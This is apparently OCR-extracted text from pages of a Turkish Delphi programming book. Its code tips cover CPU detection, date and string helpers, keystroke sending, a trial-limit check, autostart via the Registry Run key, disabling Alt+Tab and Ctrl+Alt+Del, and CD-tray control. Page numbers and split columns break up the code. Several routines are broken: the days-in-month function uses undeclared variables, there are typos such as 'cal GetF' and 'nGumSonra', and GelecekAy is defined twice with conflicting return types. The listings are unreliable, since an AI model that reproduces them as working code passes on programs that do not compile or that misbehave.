CPU BİLGİLERİ Bilgisayardaki mikro işlemcinin tipinin ve üreticisinin tespit edilmesi için, aşağıdaki unit kullanılabilir. unit CpuInfo; interface type TFeatures = record case integer of 0: (RegEAX, RegEBX, RegEDX, RegECX:integer); 1 : (I :array [0..3] of integer); 2 : (C :array [0..15] of char); 3 : (B :array [0..15] of byte) end; const {$IFNDEF WIN32} i8086 = 1; i80286 = 2; i80386 = 3; {$ENDIF} i80486=4; Chip486=4; iPentium= 5; Chip586=5; iPentiumPro=6; Chip686=6; Intel='GenuineIntel'; AMD='AuthenticAMD'; var CpuType:byte = 0; VendorId:string [12]= ''; Features:TFeatures procedure LoadFeatures (I : integer); implementation {$O-} const CpuId = $0a20f; var CpuIdFlag:boolean = false; MaxCPUId:integer; procedure GetF; asm dw CpuId mov [Features.RegEAX], eax mov [Features.RegEBX], ebx mov [Features.RegECX], ecx
1562
mov [Features.RegEDX], edx end; procedure ClearF; asm mov edi, offset Features xor eax, eax mov ecx, eax mov cl, 4 cld rep stosd end; procedure CheckOutCpu; asm {$IFNDEF WIN32} pushf pop ax mov cx, ax and ax, 0fffh push ax popf pushf pop ax and ax, 0f000h cmp ax, 0f000h mov [CPUType], 1 je @@2 or cx, 0f000h push cx popf push pop ax and ax, 0f000h mov [CPUType], 2 jz @@2 pushfd pop eax mov ecx, eax xor eax, 40000h push eax popfd pushfd pop eax xor eax, ecx mov [CPUType], 3 jz @@2 push ecx popfd {$ENDIF} mov [CPUType], 4 mov eax, ecx xor eax, 200000h push eax popfd pushfd pop eax xor eax, ecx je @@2
1563
mov [CPUIdFlag], 1 push ebx mov eax,0 dw CpuId mov [MaxCPUId], eax mov [byte ptr VendorId], 12 mov [dword ptr VendorId+1], ebx mov [dword ptr VendorId+5], edx mov [dword ptr VendorId+9], ecx callClearF mov eax, 1 cal GetF shr eax, 8 and eax, 0fh mov [CPUType], al @@1: pop ebx @@2: end; procedure LoadFeatures (I : integer); asm call ClearF cmp [CpuIdFlag], 0 je @@1 mov eax, [I] cmp [MaxCpuId], eax jl @@1 call GetF @@1: end; initialization CheckOutCPU; end. {CPU tipi ile ilgili bilgiler, "Cputype", ve "vendorid" değişkenlerine yüklenmektedirler.;} Aynı maksatla kullanılabilecek başka bir kod örneği de şudur. unit cpuinfo; interface uses Windows, SysUtils; type Freq_info = Record Raw_Freq: Cardinal; Norm_Freq: Cardinal; In_Cycles: Cardinal; Ex_Ticks: Cardinal; end;
// Ham CPU frekansı MHz. // Ortalama CPU frekansı MHz. // Sistem saati hizi // Test süresi
TCpuInfo = Record VendorIDString: String; Manufacturer: String; CPU_Name: String; PType: Byte; Family: Byte; Model: Byte; Stepping: Byte; Features: Cardinal;
1564
MMX: Boolean; Frequency_Info: Freq_Info; IDFDIVOK: Boolean; end; Const InfoStrings: Array[0..1] of String = ('FDIV instruction is Flawed', 'FDIV instruction is OK'); Const // CPU değerlerinin tespitinde kullanılacak sabitler // Örnek IF (Features and FPU_FLAG = FPU_FLAG) ise CPU'da Floating-Point birim vardır. FPU_FLAG = $00000001; VME_FLAG = $00000002; DE_FLAG = $00000004; PSE_FLAG = $00000008; TSC_FLAG = $00000010; MSR_FLAG = $00000020; PAE_FLAG = $00000040; MCE_FLAG = $00000080; CX8_FLAG = $00000100; APIC_FLAG = $00000200; BIT_10 = $00000400; SEP_FLAG = $00000800; MTRR_FLAG = $00001000; PGE_FLAG = $00002000; MCA_FLAG = $00004000; CMOV_FLAG = $00008000; BIT_16 = $00010000; BIT_17 = $00020000; BIT_18 = $00040000; BIT_19 = $00080000; BIT_20 = $00100000; BIT_21 = $00200000; BIT_22 = $00400000; MMX_FLAG = $00800000; BIT_24 = $01000000; BIT_25 = $02000000; BIT_26 = $04000000; BIT_27 = $08000000; BIT_28 = $10000000; BIT_29 = $20000000; BIT_30 = $40000000; BIT_31 = $80000000; Procedure GetCPUInfo(Var CPUInfo: TCpuInfo); Function GetRDTSCCpuSpeed: Freq_Info; Function CPUID: TCpuInfo; Function TestFDIVInstruction: Boolean; implementation Procedure GetCPUInfo(Var CPUInfo: TCpuInfo); begin CPUInfo := CPUID; CPUInfo.IDFDIVOK := TestFDIVInstruction; IF (CPUInfo.Features and TSC_FLAG = TSC_FLAG) then CPUInfo.Frequency_Info := GetRDTSCCpuSpeed; If (CPUInfo.Features and MMX_FLAG) = MMX_FLAG then
1565
CPUInfo.MMX := True else CPUInfo.MMX := False; end; Function GetRDTSCCpuSpeed: Freq_Info; var Cpu_Speed: Freq_Info; t0, t1: TLargeInteger; freq, freq2, freq3, Total: Cardinal; Total_Cycles, Cycles: Cardinal; Stamp0, Stamp1: Cardinal; Total_Ticks, Ticks: Cardinal; Count_Freq: TLargeInteger; Tries, IPriority, hThread: Integer; begin freq := 0; freq2 := 0; freq3 := 0; tries := 0; total_cycles := 0; total_ticks := 0; Total := 0; hThread := GetCurrentThread(); if (Not QueryPerformanceFrequency(count_freq)) then begin Result := cpu_speed; end else begin while ((tries < 3 ) or ((tries < 20) and ((abs(3 * freq - total) > 3) or (abs(3 * freq2-total) > 3) or (abs(3 * freq3-total) > 3)))) do begin inc(tries); freq3 := freq2; freq2 := freq; QueryPerformanceCounter(t0); t1.LowPart := t0.LowPart; t1.HighPart := t0.HighPart; iPriority := GetThreadPriority(hThread); if ( iPriority <> THREAD_PRIORITY_ERROR_RETURN ) then
begin
SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL); end; while ((t1.LowPart - t0.LowPart) < 50) do begin QueryPerformanceCounter(t1); asm push eax push edx db 0Fh db 31h MOV stamp0, EAX
1566
pop edx pop eax end; end; t0.LowPart := t1.LowPart; t0.HighPart := t1.HighPart; while ((t1.LowPart - t0.LowPart) < 1000) do begin QueryPerformanceCounter(t1); asm push eax push edx db 0Fh db 31h MOV stamp1, EAX pop edx pop eax end; end; then
if ( iPriority <> THREAD_PRIORITY_ERROR_RETURN ) begin SetThreadPriority(hThread, iPriority); end; cycles := stamp1 - stamp0; ticks := t1.LowPart - t0.LowPart; ticks := ticks * 100000; ticks := Round(Ticks / (count_freq.LowPart/10)); total_ticks := Total_Ticks + ticks; total_cycles := Total_Cycles + cycles; freq := Round(cycles / ticks);
total := (freq + freq2 + freq3); end; freq3 := Round((total_cycles * 10) / total_ticks); freq2 := Round((total_cycles * 100) / total_ticks); If (freq2 - (freq3 * 10) >= 6) then inc(freq3); cpu_speed.raw_freq := Round(total_cycles / total_ticks); cpu_speed.norm_freq := cpu_speed.raw_freq; freq := cpu_speed.raw_freq * 10; if((freq3 - freq) >= 6) then inc(cpu_speed.norm_freq); cpu_speed.ex_ticks := total_ticks; cpu_speed.in_cycles := total_cycles; Result := cpu_speed; end; end; Function CPUID: TCpuInfo; type
1567
regconvert = record bits0_7: Byte; bits8_15: Byte; bits16_23: Byte; bits24_31: Byte; end; var CPUInfo: TCpuInfo; TEBX, TEDX, TECX: Cardinal; TString: String; VString: String; temp: regconvert; begin asm MOV [CPUInfo.PType], 0 MOV [CPUInfo.Model], 0 MOV [CPUInfo.Stepping], 0 MOV [CPUInfo.Features], 0 MOV [CPUInfo.Frequency_Info.Raw_Freq], 0 MOV [CPUInfo.Frequency_Info.Norm_Freq], 0 MOV [CPUInfo.Frequency_Info.In_Cycles], 0 MOV [CPUInfo.Frequency_Info.Ex_Ticks], 0 push push push push push push push
eax ebp ebx ecx edi edx esi
@@Check_80486: MOV [CPUInfo.Family], 4 MOV TEBX, 0 MOV TEDX, 0 MOV TECX, 0 PUSHFD POP EAX MOV ECX, EAX XOR EAX, 200000H PUSH EAX POPFD PUSHFD POP EAX XOR EAX, ECX JE @@DONE_CPU_TYPE @@Has_CPUID_Instruction: MOV EAX, 0 DB 0FH DB 0A2H MOV TEBX, EBX MOV TEDX, EDX MOV TECX, ECX MOV EAX, 1 DB 0FH DB 0A2H MOV [CPUInfo.Features], EDX
1568
MOV ECX, EAX AND EAX, 3000H SHR EAX, 12 MOV [CPUInfo.PType], AL MOV EAX, ECX AND EAX, 0F00H SHR EAX, 8 MOV [CPUInfo.Family], AL MOV EAX, ECX AND EAX, 00F0H SHR EAX, 4 MOV [CPUInfo.MODEL], AL MOV EAX, ECX AND EAX, 000FH MOV [CPUInfo.Stepping], AL @@DONE_CPU_TYPE: pop pop pop pop pop pop pop end;
esi edx edi ecx ebx ebp eax
If (TEBX = 0) and (TEDX = 0) and (TECX = 0) and (CPUInfo.Family = 4) then begin CPUInfo.VendorIDString := 'Unknown'; CPUInfo.Manufacturer := 'Unknown'; CPUInfo.CPU_Name := 'Generic 486'; end else begin With regconvert(TEBX) do begin TString := CHR(bits0_7) + CHR(bits8_15) + CHR(bits16_23) + CHR(bits24_31); end; With regconvert(TEDX) do begin TString := TString + CHR(bits0_7) + CHR(bits8_15) + CHR(bits16_23) + CHR(bits24_31); end; With regconvert(TECX) do begin TString := TString + CHR(bits0_7) + CHR(bits8_15) + CHR(bits16_23) + CHR(bits24_31); end; VString := TString; CPUInfo.VendorIDString := TString; If (CPUInfo.VendorIDString = 'GenuineIntel') then begin
1569
CPUInfo.Manufacturer := 'Intel'; Case CPUInfo.Family of 4: Case CPUInfo.Model of 1: CPUInfo.CPU_Name := 'Intel 486DX Processor'; 2: CPUInfo.CPU_Name := 'Intel 486SX Processor'; 3: CPUInfo.CPU_Name := 'Intel DX2 Processor'; 4: CPUInfo.CPU_Name := 'Intel 486 Processor'; 5: CPUInfo.CPU_Name := 'Intel SX2 Processor'; 7: CPUInfo.CPU_Name := 'Write-Back Enhanced Intel DX2 Processor'; 8: CPUInfo.CPU_Name := 'Intel DX4 Processor'; else CPUInfo.CPU_Name := 'Intel 486 Processor'; end; 5: CPUInfo.CPU_Name := 'Pentium'; 6: Case CPUInfo.Model of 1: CPUInfo.CPU_Name := 'Pentium Pro'; 3: CPUInfo.CPU_Name := 'Pentium II'; else CPUInfo.CPU_Name := PChar(Format('P6 (Model %d)', [CPUInfo.Model])); end; else CPUInfo.CPU_Name := Format('P%d', [CPUInfo.Family]); end; end else if (CPUInfo.VendorIDString = 'CyrixInstead') then begin CPUInfo.Manufacturer := 'Cyrix'; Case CPUInfo.Family of 5: CPUInfo.CPU_Name := 'Cyrix 6x86'; 6: CPUInfo.CPU_Name := 'Cyrix M2'; else CPUInfo.CPU_Name := Format('%dx86', [CPUInfo.Family]); end; end else if (CPUInfo.VendorIDString = 'AuthenticAMD') then begin CPUInfo.Manufacturer := 'AMD'; Case CPUInfo.Family of 4: CPUInfo.CPU_Name := 'Am486 or Am5x86'; 5: Case CPUInfo.Model of 0: CPUInfo.CPU_Name := 'AMD-K5 (Model 0)'; 1: CPUInfo.CPU_Name := 'AMD-K5 (Model 1)'; 2: CPUInfo.CPU_Name := 'AMD-K5 (Model 2)'; 3: CPUInfo.CPU_Name := 'AMD-K5 (Model 3)'; 6: CPUInfo.CPU_Name := 'AMD-K6'; else CPUInfo.CPU_Name := 'Unknown AMD Model'; end; else CPUInfo.CPU_Name := 'Unknown AMD Chip'; end; end else begin CPUInfo.VendorIDString := TString; CPUInfo.Manufacturer := 'Unknown'; CPUInfo.CPU_Name := 'Unknown'; end; end; Result := CPUInfo; end;
1570
Function TestFDIVInstruction: Boolean; var TestDividend: Double; TestDivisor: Double; TestOne: Double; ISOK: Boolean; begin TestDividend := 4195835.0; TestDivisor := 3145727.0; TestOne := 1.0; asm PUSH EAX FLD [TestDividend] FDIV [TestDivisor] FMUL [TestDivisor] FSUBR [TestDividend] FCOMP [TestOne] FSTSW AX SHR EAX, 8 AND EAX, 01H MOV ISOK, AL POP EAX end; Result := ISOK; end; end.
ENTER TUŞUNUN TAB YERİNE KULLANILABİLECEĞİ BİR TEDİT BİLEŞENİ Enter (Return) tuşuna basıldığında Tab tuşuna basılmış etkisi yaratmak için aşağıdaki kod kullanılabilir. procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin if key=#13 then begin perform(wm_nextdlgctl,0,0); key:=#0; end; end; Aşağıdaki bileşen kodu, standart bir Tedit bileşenini, değiştirerek Enter ve Ok tuşlarına tepki verebilecek yeni bir Edit kontrolü haline getirmektedir. unit Entedit; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TEnterEdit = class(TEdit) private protected procedure KeyPress(var Key: Char); override; procedure KeyDown(var Key: Word; Shift: TShiftState); override; public
1571
published end; procedure Register; implementation procedure Register; begin RegisterComponents('Kitap', [TEnterEdit]); end; procedure TEnterEdit.KeyPress(var Key: Char); var MYForm: TcustomForm; begin if Key = #13 then begin MYForm := GetParentForm( Self ); if not (MYForm = nil ) then SendMessage(MYForm.Handle, WM_NEXTDLGCTL, 0, 0); Key := #0; end; if Key <> #0 then inherited KeyPress(Key); end; procedure TEnterEdit.KeyDown(var Key: Word; Shift: TShiftState); var MYForm: TcustomForm; CtlDir: Word; begin if (Key = VK_UP) or (Key = VK_DOWN) then begin MYForm := GetParentForm( Self ); if Key = VK_UP then CtlDir := 1 else CtlDir :=0; if not (MYForm = nil ) then SendMessage(MYForm.Handle, WM_NEXTDLGCTL, CtlDir, 0); end else inherited KeyDown(Key, Shift); end; end. Tarih doğru mu Function Tarihgecerlimi(DateString: String): Boolean; Begin Try StrToDateTime(DateString); Result := True; Except Result := False; End; End;
AYDA KAÇ GÜN VAR? Function AydakiGunSayisi(DateValue: TDateTime): Integer; var yil : Word;
1572
ay : Word; gün : Word; yeniyil : Word; yeniay : Word; yenigun : Word; sayacr : Integer; yenitarih : TDateTime; Begin Result := 30; Try DecodeDate(DateValue, Yil, ay, gun); NewDate := EncodeDate(yil, ay, 26); For sayac := 26 To 32 Do Begin yenitarih := NewDate+1; DecodeDate(yenitarih, yeniyil, yeniay, yenigun); If MonthNew <> MonthIn Then Begin DecodeDate(yenitarih-1, Yeniyil, yeniay, yenigun); Result := yenigun; Break; End; End; Except End; End;
GEÇEN HAFTANIN İLK GÜNÜ Function GecenHaftaninIlkGunu(DateValue: TDateTime): TDateTime; Begin Result := HaftaninIlkGunu(DateValue-7); End; Sonraki Ayın ilk Günü Function SonrakiAyinIlkGunu(DateValue: TDateTime): TDateTime; Begin Try Result := AyinSonGunu(DateValue)+1; Except Result := DateValue; End; End;
SONRAKİ HAFTANIN İLK GÜNÜ Function SonrakiHaftaninIlkGunu(DateValue: TDateTime): TDateTime; Begin Result := HaftaninIlkGunu(DateValue+7); End; Haftanın ilk günü Function HaftaninIlkGunu(DateValue: TDateTime): TDateTime; Begin Try Result := DateValue - (DayOfWeek(DateValue)) +1; Except Result := 0; End; End;
1573
AYIN SON GÜNÜ Function AyinSonGunu(DateValue: TDateTime): TDateTime; Var LastDay : String; Begin LastDay := IntToStr(AydakiGunSayisi(DateValue)); Result := StrToDate( FormatDateTime('mm',DateValue)+ '/'+ LastDay+ '/'+ FormatDateTime('yyyy',DateValue)); End; Ay Function Ay(DateValue: TDateTime): Integer; Var Year, Month, Day: Word; Begin Result := -1; Try DecodeDate(DateValue, Year, Month, Day); Result := Integer(Month); Except Result := -1; End; End;
GELECEK AY Function GelecekAy(DateValue: TDateTime): Integer; Var Year, Month, Day: Word; CurMonth : Integer; NewMonth : Integer; Begin Result := -1; Try DecodeDate(DateValue, Year, Month, Day); CurMonth := Integer(Month); NewMonth := ((CurMonth + 12 + 1) mod 12); If NewMonth = 0 Then NewMonth := 12; Result := NewMonth; Except Result := -1; End; End;
GEÇEN AY Function GecenAy(DateValue: TDateTime): Integer; Var Year, Month, Day: Word; CurMonth : Integer; NewMonth : Integer; Begin Result := -1; Try DecodeDate(DateValue, Year, Month, Day);
1574
CurMonth := Integer(Month); NewMonth := ((CurMonth + 24 - 1) mod 12); If NewMonth = 0 Then NewMonth := 12; Result := NewMonth; Except Result := -1; End; End;
GÜN SONRA Function nGunSonra( DateValue : TDateTime; DateMovement : Integer): TDateTime; Begin Result := DateValue + DateMovement; End;
GELECEK AY Function GelecekAy(DateValue: TDateTime): TDateTime; Begin Result := nGumSonra(DateValue,1); End;
ÖNCEKİ GÜN Function onceki_gun(DateValue: TDateTime): TDateTime; Begin Result := NGunSonra(DateValue,-1); End; Geçen hafta Function GecenHaftak(DateValue: TDateTime): TDateTime; Begin Result := nGunSonra(DateValue,-7); End;
METİN İÇERİSİNDEN BİR KARAKTER SİLME Function DeleteCharacterInString(InputCharacter,InputString: String): String; Var CharPos : Integer; Begin Result := InputString; While True Do Begin CharPos := Pos(InputCharacter,InputString); If Not (CharPos = 0) Then Begin Delete(InputString,CharPos,1); End Else Begin Break; End; End; Result := InputString; End;
1575
METİN İÇERİSİNDEN, BİR KARAKTERİ DEĞİŞTİRME Function ReplaceCharInString(S,OldChar,NewChar :String): String; Var NewString : String; i : Integer; L : Integer; C : String; Begin Result := ''; NewString := ''; L := Length(S); If L = 0 Then Exit; If Pos(UpperCase(OldChar),UpperCase(S)) = 0 Then Begin Result := S; Exit; End; For i := 1 To L Do Begin C := SubStr(S,i,1); If UpperCase(C) = UpperCase(OldChar) Then Begin NewString := NewString + NewChar; End Else Begin NewString := NewString + C; End; End; Result := NewString; End;
BİR METNİ BELLİ BİR UZUNLUĞA TAMAMLAMA Function StringPad( InputStr,//tamamlanacak metin FillChar: String;//tamamlama karakteri StrLen: Integer;//uzunluk StrJustify: Boolean): String;//tamamlama yönü Var TempFill: String; Counter : Integer; Begin If Not (Length(InputStr) = StrLen) Then Begin If Length(InputStr) > StrLen Then Begin InputStr := SubStr(InputStr,1,StrLen); End Else Begin TempFill := ''; For Counter := 1 To StrLen-Length(InputStr) Do Begin TempFill := TempFill + FillChar; End;
1576
If StrJustify Then Begin InputStr := InputStr + TempFill; End Else Begin InputStr := TempFill + InputStr ; End; End; End; Result := InputStr; End;
METİN DEĞİŞTİRME Function String_Replace( OldSubString : String;//atılacak metin NewSubString : String;//atılanın yerine konacak metin SourceString : String): String;//üzerinde değişiklik yapılacak metin Var P : Integer; S : String; R : String; LOld : Integer; LNew : Integer; Begin S := SourceString; R := ''; LOld := Length(OldSubString); LNew := Length(NewSubString); Result := S; If OldSubString = '' Then Exit; If SourceString = '' Then Exit; P := Pos(OldSubString,S); If P = 0 Then Begin R := S; End Else Begin While P <> 0 Do Begin Delete(S,P,LOld); R := R + Copy(S,1,P-1)+NewSubString; S := Copy(S,P,Length(S)-(P-1)); P := Pos(OldSubString,S); If P = 0 Then R := R + S; End; End; Result := R; End;
PROGRAM İÇERİSİNDEN BAŞKA BİR UYGULAMAYA TUŞ GÖNDERME WinHand := FindWindow(nil,'Untitled - Notepad'); SetForegroundWindow(WinHand); keybd_event(VK_MENU, 0, 0, 0); keybd_event(VK_Menu, 0, KEYEVENTF_KEYUP, 0);
1577
keybd_event(VK_right, 0, 0, 0); keybd_event(VK_right, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_right, 0, 0, 0); keybd_event(VK_right, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_right, 0, 0, 0); keybd_event(VK_right, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_down, 0, 0, 0); keybd_event(VK_down, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_down, 0, 0, 0); keybd_event(VK_down, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_return, 0, 0, 0); keybd_event(VK_return, 0, KEYEVENTF_KEYUP, 0);
PROGRAMI DENEME SÜRÜMÜ HALİNE GETİRME Programcıların kabusu, ürünlerinin kolaylıkla bedavacıların eline geçmesidir. Bu durum ürünlerin tanıtım sürümlerinin dağıtılmasında bir takım tedbirleri gerektirir. Bunun çok çeşitli yolları vardır. İşte bunlardan birisi. Aşağıdaki fonksiyon, Windows'un global atom tablosuna belirli bir not yazarak, çalışma esnasında bu notu okumaktadır. Şayet not okunabilirse, programın daha önce çalıştırılmış olduğu ortaya çıkar ve uyarı mesajını takiben çalışması durdurulur. Programın yeniden çalıştırılabilmesi için, Windowsun yeniden başlatılması gerekir. procedure TForm1.FormShow(Sender : TObject); var atom : integer; CRLF : string; begin if GlobalFindAtom('Kontrol için kullanılacak metin') = 0 then atom := GlobalAddAtom(' Kontrol için kullanılacak metin ') else begin CRLF := #10 + #13; ShowMessage('Bu program, her windows oturumunda 1 kez çalışır.'+crlf+'+ Windows'u yeniden başlatın.'+crlf+ 'Ya da bizi arayıp satın alın'); Close; end; end;
LİSTBOX BİLEŞENİNE YATAY KAYDIRMA ÇUBUĞU EKLENMESİ Delphi'nin TlistBox Bileşeni, satır sayısı gösterebileceğinden fazla ise, otomatik olarak dikey kaydırma çubuğunu kullanıma açar. Fakat satır uzunluğu gösterebileceği genişlikten daha fazla ise, bir kolaylık sağlamaz. Aşağıdaki kod kullanılarak, yatay kaydırma çubuğununda eklenmesi sağlanabilir. Aşağıdaki kod, formun OnCrate olay yordamına yazılmalıdır. procedure TForm1.FormCreate(Sender: TObject); var i, MaxWidth: integer; begin MaxWidth := 0; for i := 0 to ListBox1.Items.Count - 1 do if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]); SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT,
1578
MaxWidth+2, 0); end; Kod öncelikle, listbox içerisindeki en uzun satırın uzunluğunun Piksel cinsinden hesaplar. Ondan sonra LB_SETHORIZONTALEXTENT mesajını kullanarak, yatay kaydırma çubuğunu ayarlar.Kontrol panel apletlerinin Delphi içerisinden kullanılmasıBazı sistem ayarları, kontrol panelden yapılmaktadır. Program içerisinden bu ayarlara müdahele etmek gerektiğinde, en kolay yol yine kontrol panel apletlerini kullanmaktır. Aşağıdaki fonksiyon, istenen kontrol panel apletini çalıştırmaktadır. unit open_cpl; interface function RunControlPanelApplet( sAppletFileName : string) : integer; implementation uses Windows; //sAppletFileName değeri aşağıdaki tablodan seçilebilir. function RunControlPanelApplet( sAppletFileName : string) : integer; begin Result := WinExec( PChar('rundll32.exe shell32.dll,'+ 'Control_RunDLL '+sAppletFileName), SW_SHOWNORMAL); end; end.
Windows95 ve NT de ortak olan kontrol panel apletleri şunlardır. access.cpl Erişilebilirlik appwiz.cpl Program ekle/kaldır desk.cpl Görüntü intl.cpl Bölgesel ayarlar joy.cpl Oyun çubuğu main.cpl Fare mmsys.cpl Çoklu ortam modem.cpl Modem sysdm.cpl Sistem timedate.cpl Tarih/Saat
SİSTEM TARİH/SAAT AYARININ DEĞİŞTİRİLMESİ Sistemin tarih ve saat ayarları programsal olarak da değiştirilebilir. Bunun için Aşağıdaki fonksiyonu kullanabilirsiniz. function SetPCSystemTime(tDati: TDateTime): Boolean; var tSetDati: TDateTime; vDatiBias: Variant; tTZI: TTimeZoneInformation; tST: TSystemTime; begin GetTimeZoneInformation(tTZI);
1579
vDatiBias := tTZI.Bias / 1440; tSetDati := tDati + vDatiBias; with tST do begin wYear := StrToInt(FormatDateTime('yyyy', tSetDati)); wMonth := StrToInt(FormatDateTime('mm', tSetDati)); wDay := StrToInt(FormatDateTime('dd', tSetDati)); wHour := StrToInt(FormatDateTime('hh', tSetDati)); wMinute := StrToInt(FormatDateTime('nn', tSetDati)); wSecond := StrToInt(FormatDateTime('ss', tSetDati)); wMilliseconds := 0; end; SetPCSystemTime := SetSystemTime(tST); end; procedure TForm1.Button1Click(Sender: TObject); var tti:tdatetime; begin tti:=strtodatetime('11.11.98 14:15:20'); Setpcsystemtime(tti)
ALT+TAB VE CTRL+ALT+DEL TUŞ KOMBİNASYONLARININ KULLANIMA KAPATILMASI Eğer programınız çalışırken, kullanıcıların bu tuş kombinasyonlarını kullanmasını istemiyorsanız, aşağıdaki kod örneği tam size göre uses WinProcs; {$R *.RES} var Dummy : integer; begin Dummy := 0; //ALT+TAB kombinasyonu için SystemParametersInfo( SPI_SETFASTTASKSWITCH, 1, @Dummy, 0); //CTRL+ALT+DEL kombinasyonu için SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @Dummy, 0); end.
EKRAN KORUYUCUNUN DEVREDEN ÇIKARILMASI SystemParametersInfo(SPI_GETSCREENSAVEACTIVE, 0, Addr(SaverActive), 0); if SaverActive then SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, nil, SPIF_UPDATEINIFILE); {Burada "SaverActive" global bir Boolean değişkendir. Ekran koruyucu tekrar aktif hale getirilmek istendiğinde ise} if SaverActive then SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, nil, SPIF_UPDATEINIFILE);
1580
{Diğer bir yol ise, şu şekildedir. Bir ekran koruyucu çalışmaya başlamadan önce "WM_SYSCOMMAND" mesajı gönderir. Bu mesaj yakalanarak ekran koruyucunun devreye girmesi engellenir. TApplication nesnesinin OnMessage. Olayı yerine kullanılacak yeni bir davranış yaratıp bu mesajı herkesden önce yakalayabiliriz. Bu işlem şöyle olur.} procedure AppMessage(var Msg: TMsg; var Handled: Boolean); {Daha sonra ana formun OnCreate davranışı içerisinde,} Application.OnMessage := AppMessage; {Appmessage yordamında yakalanan mesajın WM_sysCommand ve Wparam değerinin de SC_ScreenSave olup olmadığı kontrol edilir. Eğer öyle ise, Handled parametresi True yapılarak, o mesajın işlem gördüğü imajı yaratılarak, windows'un ekran koruyucuyu başlatması engellenir.} procedure TForm1.AppMessage(var Msg: TMsg; var Handled: Boolean); begin if (Msg.Message = WM_SYSCOMMAND) and ((Msg.wParam) = SC_SCREENSAVE) then begin Handled := True; end; end;
PROGRAMIN, WİNDOWSUN BAŞLANGICINDA ÇALIŞTIRILMASI Windows Startup klasörüne konan programlar, windowsun başlaması ile birlikte çalışmaya başlarlar. Fakat bunu program içerisinden yapmak istiyorsanız, veya programınız, bir kereye mahsus başlangıçta çalışsın istiyorsanız,aşağıdaki fonksiyonu kullanarak geçici veya kalıcı olarak gerekeni yapabilirsiniz. procedure RunOnStartup( sProgTitle, sCmdLine var sKey : string; reg : TRegIniFile; begin if( bRunOnce )then sKey := 'Once' else sKey := '';
: string; bRunOnce
: boolean );
reg := TRegIniFile.Create( '' ); reg.RootKey := HKEY_LOCAL_MACHINE; reg.WriteString( 'Software\Microsoft' + '\Windows\CurrentVersion\Run' + sKey + #0, sProgTitle, sCmdLine ); reg.Free; end;
HATA MESAJI KONTROLÜ Herhangi bir iş yapılırken, örneğin, diskete erişilmek istendiğinde, eğer sürücüde disket yoksa, windows bir hata mesajı verir. Bu tür mesajlara krıtik hata mesajı denir. Eğer kendiniz bu hataları kontrol edip, gereğini yapacaksanız, windowsun mesaj vermesinin engellenmesi gerekir.Bu işlem "SetErrorMode" fonksiyonu ile yapılabilir. var wOldErrorMode : Word;
1581
begin wOldErrorMode := SetErrorMode( SEM_FAILCRITICALERRORS ); try {hata mesajına sebep olabilecek kod buraya yazılır. } finally { bir önceki hata moduna dön. } SetErrorMode( wOldErrorMode ); end; end;
EKRAN KORUYUCU KURULMASI Sistemde tanımlı olan ekran koruyucunun değiştirilmesi veya en baştan tanımlanması için gereken kod aşağıdadır. Uses listesine eklenmesi gereken fmxutil.pas demos\doc dizini altında bulunmaktadır. //uses ..\demos\doc\fmxutil.pas procedure TForm1.Button1Click(Sender: TObject); begin ExecuteFile('rundll32.exe', 'desk.cpl,InstallScreenSaver C:\Windows\gpf.scr',' ',SW_SHOW); end;
LİSTBOX YAZI TİPİNİN DEĞİŞTİRİLMESİ Tek bir satır kod yazarak wm_SetFont mesajına duyarlı bileşenlerin, yazı tipleri değiştirilebilir. SendMessage( Listbox1.handle, wm_SetFont, GetStockObject(System_Fixed_Font), 1);
TAŞINABİLİR PANEL Programın çalışması esnasında, form üzerindeki bileşenlerin yerleri ancak, program içerisinden verilecek komutlarla değiştirilebilir. Aşağıdaki kod örneği ile çalışan bir programda, normal bir panel, fare yardımı ile taşınabilir hale gelmektedir. Bu kod panelin OnMouseDown olay yordamı içerisine yazılmalıdır. procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; begin ReleaseCapture; panel1.perform(WM_SysCommand, SC_DragMove, 0); end;
CD-ROM KAPAĞININ KAPATILMASI TmediaPlayer, bir CD-ROM'a komuta ediyorsa, Eject tuşuna basıldığında,, CD-ROM kapağını açabilir. Fakat tekrar Eject tuşuna basıldığında açık durumdaki kapağı kapatamaz. Bu nedenle bir adet kapat butonu kullanılmalıdır. Aşağıdaki kod örneğinde, başka bir buton kullanılarak kapağın kapatılması gösterilmektedrir. procedure TForm1.Button1Click(Sender: TObject); begin if MediaPlayer1.Mode = mpOpen then begin mciSendCommand(MediaPlayer1.DeviceID, MCI_SET,MCI_SET_DOOR_CLOSED,0);
1582
Button1.Caption := '&Open' end else begin mciSendCommand(MediaPlayer1.DeviceID ,MCI_SET,MCI_SET_DOOR_OPEN,0); Button1.Caption := '&Close'; end; end; {Genel olarak bu işlemin yapılması için ise Mmsystem uniti kullanılarak, aşağıdaki fonksiyonlar kullanılabilir.} CD-ROM Kapağını açmak için; mciSendString('Set cdaudio door open wait', nil, 0, handle); CD-ROM Kapağını kapatmak için; mciSendString('Set cdaudio door closed wait', nil, 0, handle);
